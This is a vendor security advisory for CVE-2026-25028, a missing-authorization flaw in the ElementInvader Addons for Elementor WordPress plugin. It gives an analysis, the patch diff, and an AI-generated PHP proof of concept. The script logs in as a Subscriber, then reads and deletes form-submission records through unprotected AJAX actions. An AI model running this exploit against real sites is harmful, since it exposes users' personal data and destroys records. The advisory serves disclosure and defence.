Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-25028: ElementInvader Addons for Elementor <= 1.4.1 – Missing Authorization (elementinvader-addons-for-elementor)

Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 1.4.1
Patched Version 1.4.2
Disclosed February 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-25028:
The vulnerability is a Missing Authorization flaw in the ElementInvader Addons for Elementor WordPress plugin, affecting versions up to and including 1.4.1. The flaw allows authenticated attackers with Subscriber-level access or higher to perform administrative actions, specifically accessing and manipulating form submission data. This constitutes a broken access control vulnerability with a CVSS score of 4.3.

Atomic Edge research identifies the root cause as the absence of capability checks and nonce verification in two AJAX handler functions within the plugin. The vulnerable functions are `eli_mails_datatable()` and `eli_mails_bulk_remove()` located in `/modules/mail_base/mail_base.php`. These functions were directly accessible via WordPress’s `admin-ajax.php` endpoint without verifying if the requesting user possesses the `administrator` capability or a valid nonce. The functions handle sensitive operations including retrieving stored form submission data and performing bulk deletion operations.

Exploitation requires an authenticated attacker with any valid WordPress user account, including the lowest-privilege Subscriber role. The attacker sends a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to either `eli_mails_datatable` or `eli_mails_bulk_remove`. For the bulk removal function, the attacker must also include an `ids` parameter containing an array of database record IDs to delete. No nonce or special headers are required in the vulnerable version.

The patch in version 1.4.2 adds proper authorization checks to both vulnerable functions. The fix inserts two security measures at the beginning of each function: a capability check using `current_user_can(‘administrator’)` and a nonce verification using `check_ajax_referer(‘eli_secure_ajax’, ‘eli_secure’)`. These changes ensure only administrators with valid nonces can access the functions. The patch also adds a new Brevo API integration in `/modules/forms/ajax-handler.php` and modifies blog grid ordering logic, but these changes are unrelated to the authorization vulnerability.

Successful exploitation allows attackers to access all form submission data stored by the plugin, potentially exposing sensitive user information like email addresses, names, and custom form field data. Attackers can also delete submission records, causing data loss and disrupting business operations. The vulnerability does not provide direct remote code execution or privilege escalation to WordPress administrator, but it enables unauthorized data access and destruction at the application level.

Differential between vulnerable and patched code

Code Diff
--- a/elementinvader-addons-for-elementor/elementinvader-addons-for-elementor.php
+++ b/elementinvader-addons-for-elementor/elementinvader-addons-for-elementor.php
@@ -4,7 +4,7 @@
  * Plugin Name: ElementInvader Addons for Elementor
  * Description: Ready to use Elementor Addon Elements like Menu, Forms, Maps, Newsletter with many styling options
  * Plugin URI:  https://elementinvader.com
- * Version:     1.4.1
+ * Version:     1.4.2
  * Author:      ElementInvader
  * Author URI:  https://elementinvader.com
  * Text Domain: elementinvader-addons-for-elementor
@@ -24,6 +24,9 @@
 $elementinvader_addons_for_elementor_server_prtc = wp_get_server_protocol();
 $ELEMENTINVADER_ADDONS_FOR_ELEMENTOR_PROTOCOL = stripos($elementinvader_addons_for_elementor_server_prtc, 'https') !== false ? 'https://' : 'http://';
 define('ELEMENTINVADER_ADDONS_FOR_ELEMENTOR_PROTOCOL', $ELEMENTINVADER_ADDONS_FOR_ELEMENTOR_PROTOCOL);
+
+
+
 /**
  * Elementor Blocks
  *
@@ -31,7 +34,8 @@
  *
  * @since 1.0.0
  */
-function ELEMENTINVADER_ADDONS_FOR_ELEMENTOR_load()
+
+ add_action('init', function ()
 {

     // Load wlistingation file
@@ -78,6 +82,33 @@
         );
         return;
     }
+});
+
+
+
+/**
+ * Elementor Blocks
+ *
+ * Load the plugin after Elementor (and other plugins) are loaded.
+ *
+ * @since 1.0.0
+ */
+function ELEMENTINVADER_ADDONS_FOR_ELEMENTOR_load()
+{
+
+    // Load wlistingation file
+    load_plugin_textdomain('elementinvader-addons-for-elementor', false, basename(dirname(__FILE__)) . '/locale');
+
+    // Notice if the Elementor is not active
+    if (! did_action('elementor/loaded')) {
+        return;
+    }
+
+    // Check required version
+    $elementor_version_required = '1.8.0';
+    if (! version_compare(ELEMENTOR_VERSION, $elementor_version_required, '>=')) {
+        return;
+    }

     // Require the main plugin file
     require(__DIR__ . '/plugin.php');
--- a/elementinvader-addons-for-elementor/modules/forms/ajax-handler.php
+++ b/elementinvader-addons-for-elementor/modules/forms/ajax-handler.php
@@ -554,6 +554,10 @@
                     }
                 }
             }
+
+            if($email && !empty($form_data['send_action_brevo_api_key']) && !empty($form_data['send_action_brevo_list_id'])) {
+                $this->bravo($form_data['send_action_brevo_api_key'], $form_data['send_action_brevo_list_id'], 'create_add', $email);
+            }
             /* end action after send */

             do_action('eli/ajax-handler/after', $form_data);
@@ -809,4 +813,117 @@
         }
         return $string;
     }
+
+
+    /**
+	 * Bravo Api https://developers.brevo.com/
+	 * @param  string  $apiKey  Date in string
+	 * @param  string  $listid  Number of list id (if need add contact into list)
+	 * @param  string  $action  create|add|create_add  (create - add new contact, add - add into list, create_add - create contact and add into list)
+	 * @param  string  $email  email of contact is required field
+     *
+	 * @return string true or contact id
+	*/
+
+    public function bravo($apiKey = null, $listid = null, $action = 'create', $email = '') {
+        if(empty($apiKey)) return false;
+        if(empty($email)) return false;
+
+        switch ($action) {
+            case 'create':
+                return ($this->_bravo_create ($apiKey, $email)) ? true : false;
+                break;
+            case 'add':
+                if(empty($listid)) return false;
+                return ($this->_bravo_add_to_list ($apiKey, $listid, $email)) ? true : false;
+                break;
+            case 'create_add':
+                if(empty($listid)) return false;
+
+                $this->_bravo_create ($apiKey, $email);
+                if(true) {
+                    return ($this->_bravo_add_to_list ($apiKey, $listid, $email)) ? true : false;
+                }
+
+                return false;
+                break;
+        }
+
+        return false;
+
+    }
+
+    /*
+    * https://developers.brevo.com/reference/addcontacttolist-1
+    */
+    private function _bravo_add_to_list ($apiKey = null, $listid = null, $email = '') {
+        // Replace these values with your actual data
+        $brevoApiUrl = 'https://api.brevo.com/v3/contacts/lists/' . $listid . '/contacts/add';
+        $brevoApiHeaders = array(
+            'Accept'       => 'application/json',
+            'Content-Type' => 'application/json',
+            'api-key' => $apiKey,
+        );
+
+        $brevoApiData = array(
+            'emails' => array(
+                $email,
+            ),
+        );
+
+        $response = wp_remote_post(
+            $brevoApiUrl,
+            array(
+                'headers' => $brevoApiHeaders,
+                'body'    => wp_json_encode($brevoApiData),
+            )
+        );
+
+        if (is_wp_error($response)) {
+            return false;
+        } else {
+            $body = wp_remote_retrieve_body($response);
+            if(stripos($body, 'success') !== FALSE) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    /*
+    * https://developers.brevo.com/reference/createcontact
+    */
+    private function _bravo_create ($apiKey = null, $email = '') {
+        // Replace these values with your actual data
+
+        $brevoApiUrl = 'https://api.brevo.com/v3/contacts';
+        $brevoApiHeaders = array(
+            'Accept'       => 'application/json',
+            'Content-Type' => 'application/json',
+            'api-key' => $apiKey,
+        );
+
+        $brevoApiData = array(
+            "updateEnabled" => true,
+            "email" => $email
+        );
+
+        $response = wp_remote_post(
+            $brevoApiUrl,
+            array(
+                'headers' => $brevoApiHeaders,
+                'body'    => wp_json_encode($brevoApiData),
+            )
+        );
+
+        if (is_wp_error($response)) {
+            return false;
+        } else {
+            $body = wp_remote_retrieve_body($response);
+            $data = json_decode($body);
+            return true;
+        }
+
+        return false;
+    }
 }
--- a/elementinvader-addons-for-elementor/modules/mail_base/mail_base.php
+++ b/elementinvader-addons-for-elementor/modules/mail_base/mail_base.php
@@ -21,6 +21,13 @@
 // json for datatables
 function eli_mails_datatable()
 {
+
+    if ( ! current_user_can( 'administrator' ) ) {
+        exit();
+    }
+
+    check_ajax_referer('eli_secure_ajax', 'eli_secure');
+
     //$this->enable_error_reporting();
    // remove_action( 'shutdown', 'wp_ob_end_flush_all', 1 );

@@ -197,7 +204,12 @@
 // json for datatables
 function eli_mails_bulk_remove()
 {
-
+    if ( ! current_user_can( 'administrator' ) ) {
+        exit();
+    }
+
+    check_ajax_referer('eli_secure_ajax', 'eli_secure');
+
     $ids= eli_xss_clean($_POST['ids']);


--- a/elementinvader-addons-for-elementor/views/blog_preview/meta.php
+++ b/elementinvader-addons-for-elementor/views/blog_preview/meta.php
@@ -5,7 +5,18 @@
     <?php if($is_edit_mode):?>
         <?php echo esc_html__('This is example meta', 'elementinvader-addons-for-elementor');?>
     <?php else:?>
-        <?php echo $this->set_dinamic_field($eli_post_id, $settings['config_fields_title']); ?>
+        <?php
+        $meta_value = $this->set_dinamic_field($eli_post_id, $settings['config_fields_title']);
+        if (is_array($meta_value)) {
+            echo '<ul class="eli-meta-list">';
+            foreach ($meta_value as $item) {
+                echo '<li>' . wp_kses_post($item) . '</li>';
+            }
+            echo '</ul>';
+        } else {
+            echo wp_kses_post($meta_value);
+        }
+        ?>
     <?php endif?>
     <?php if(!empty($settings['link_enabled'])):?>
     </a>
--- a/elementinvader-addons-for-elementor/widgets/blog-grid.php
+++ b/elementinvader-addons-for-elementor/widgets/blog-grid.php
@@ -366,8 +366,7 @@
                 ],
 			]
 		);
-
-
+
         if(true){
             $repeater = new Repeater();
             $repeater->start_controls_tabs( 'custom_meta' );
@@ -428,6 +427,8 @@
             );
         }

+
+
         if(true){
             $repeater = new Repeater();
             $repeater->start_controls_tabs( 'custom_posts' );
@@ -1283,7 +1284,6 @@
         );
         $this->generate_renders_tabs($selectors, 'styles_carousel_arrows_dynamic', ['margin','color','background','border','border_radius','padding','shadow','transition','font-size','hover_animation']);

-
         $this->end_controls_section();

         $this->start_controls_section(
@@ -1875,20 +1875,48 @@
             }
         }

-
-        if($settings['config_limit_order_by'] == 'custom_field' && !empty($settings['config_limit_order_by_custom'])) {
-            $allposts ['meta_query'] = [
-                                            [
-                                                'key' => $settings['config_limit_order_by_custom'],
-                                            ],
-                                    ];
-             $allposts ['meta_key'] = $settings['config_limit_order_by_custom'];
-             $allposts ['orderby'] = 'meta_value';
-             $allposts ['order'] = $settings['config_limit_order'];
-        }

-        // Inject repeater-based meta filters here
-        if ( ! empty( $settings['filter_by_meta'] ) && is_array( $settings['filter_by_meta'] ) ) {
+		if ($settings['config_limit_order_by'] == 'custom_field' && !empty($settings['config_limit_order_by_custom'])) {
+
+			$order_string = $settings['config_limit_order_by_custom'];
+			// "is_featured DESC, length, region ASC"
+			 $allposts ['orderby'] = 'meta_value';
+			$order_parts = array_map('trim', explode(',', $order_string));
+
+			$meta_query = [];
+			$orderby    = [];
+
+			foreach ($order_parts as $part) {
+				$field     = $part;
+				$direction = strtoupper($settings['config_limit_order']);
+
+
+				if (preg_match('/s+(ASC|DESC)$/i', $part, $matches)) {
+					$direction = strtoupper($matches[1]);
+					$field     = trim(preg_replace('/s+(ASC|DESC)$/i', '', $part));
+				}
+
+
+				$alias = "{$field}_clause";
+
+				$meta_query[$alias] = [
+					'key'     => $field,
+					'type'    => 'NUMERIC',
+					'compare' => 'EXISTS',
+
+				];
+
+				$orderby[$alias] = $direction;
+			}
+
+				$allposts['meta_query'] = $meta_query;
+			$allposts['orderby']    = $orderby;
+		}
+
+
+
+    // Inject repeater-based meta filters here
+        if (! empty( $settings['filter_by_meta'] ) && is_array( $settings['filter_by_meta'] ) ) {
             $meta_query = isset( $allposts['meta_query'] ) ? (array) $allposts['meta_query'] : [];

             foreach ( $settings['filter_by_meta'] as $filter ) {
@@ -1921,6 +1949,11 @@
                 $allposts['meta_query'] = $meta_query;
             }
         }
+
+		if(isset($_GET['test'])) {
+			dump($allposts);
+		}
+

         $wp_query = new WP_Query($allposts);

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-25028 - ElementInvader Addons for Elementor <= 1.4.1 - Missing Authorization

<?php

$target_url = 'https://vulnerable-site.com/wp-admin/admin-ajax.php';
$username = 'subscriber';
$password = 'password';

// Step 1: Authenticate as a low-privilege user (Subscriber role)
$login_url = str_replace('admin-ajax.php', 'wp-login.php', $target_url);
$cookie_file = tempnam(sys_get_temp_dir(), 'cve_2026_25028');

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $login_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $target_url,
        'testcookie' => '1'
    ]),
    CURLOPT_COOKIEJAR => $cookie_file,
    CURLOPT_COOKIEFILE => $cookie_file,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true
]);
$response = curl_exec($ch);

// Step 2: Exploit the missing authorization to access form submission data
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'action' => 'eli_mails_datatable'
    ]),
    CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded'],
    CURLOPT_COOKIEFILE => $cookie_file,
    CURLOPT_RETURNTRANSFER => true
]);

$data_response = curl_exec($ch);
echo "Form Submission Data Access:n";
echo $data_response;
echo "nn";

// Step 3: Exploit the missing authorization to delete form submissions
// First, we need to identify some record IDs from the previous response
// For demonstration, we'll attempt to delete hypothetical IDs 1, 2, and 3
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'action' => 'eli_mails_bulk_remove',
        'ids' => json_encode([1, 2, 3])
    ]),
    CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded'],
    CURLOPT_COOKIEFILE => $cookie_file,
    CURLOPT_RETURNTRANSFER => true
]);

$delete_response = curl_exec($ch);
echo "Bulk Delete Response:n";
echo $delete_response;

curl_close($ch);
unlink($cookie_file);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School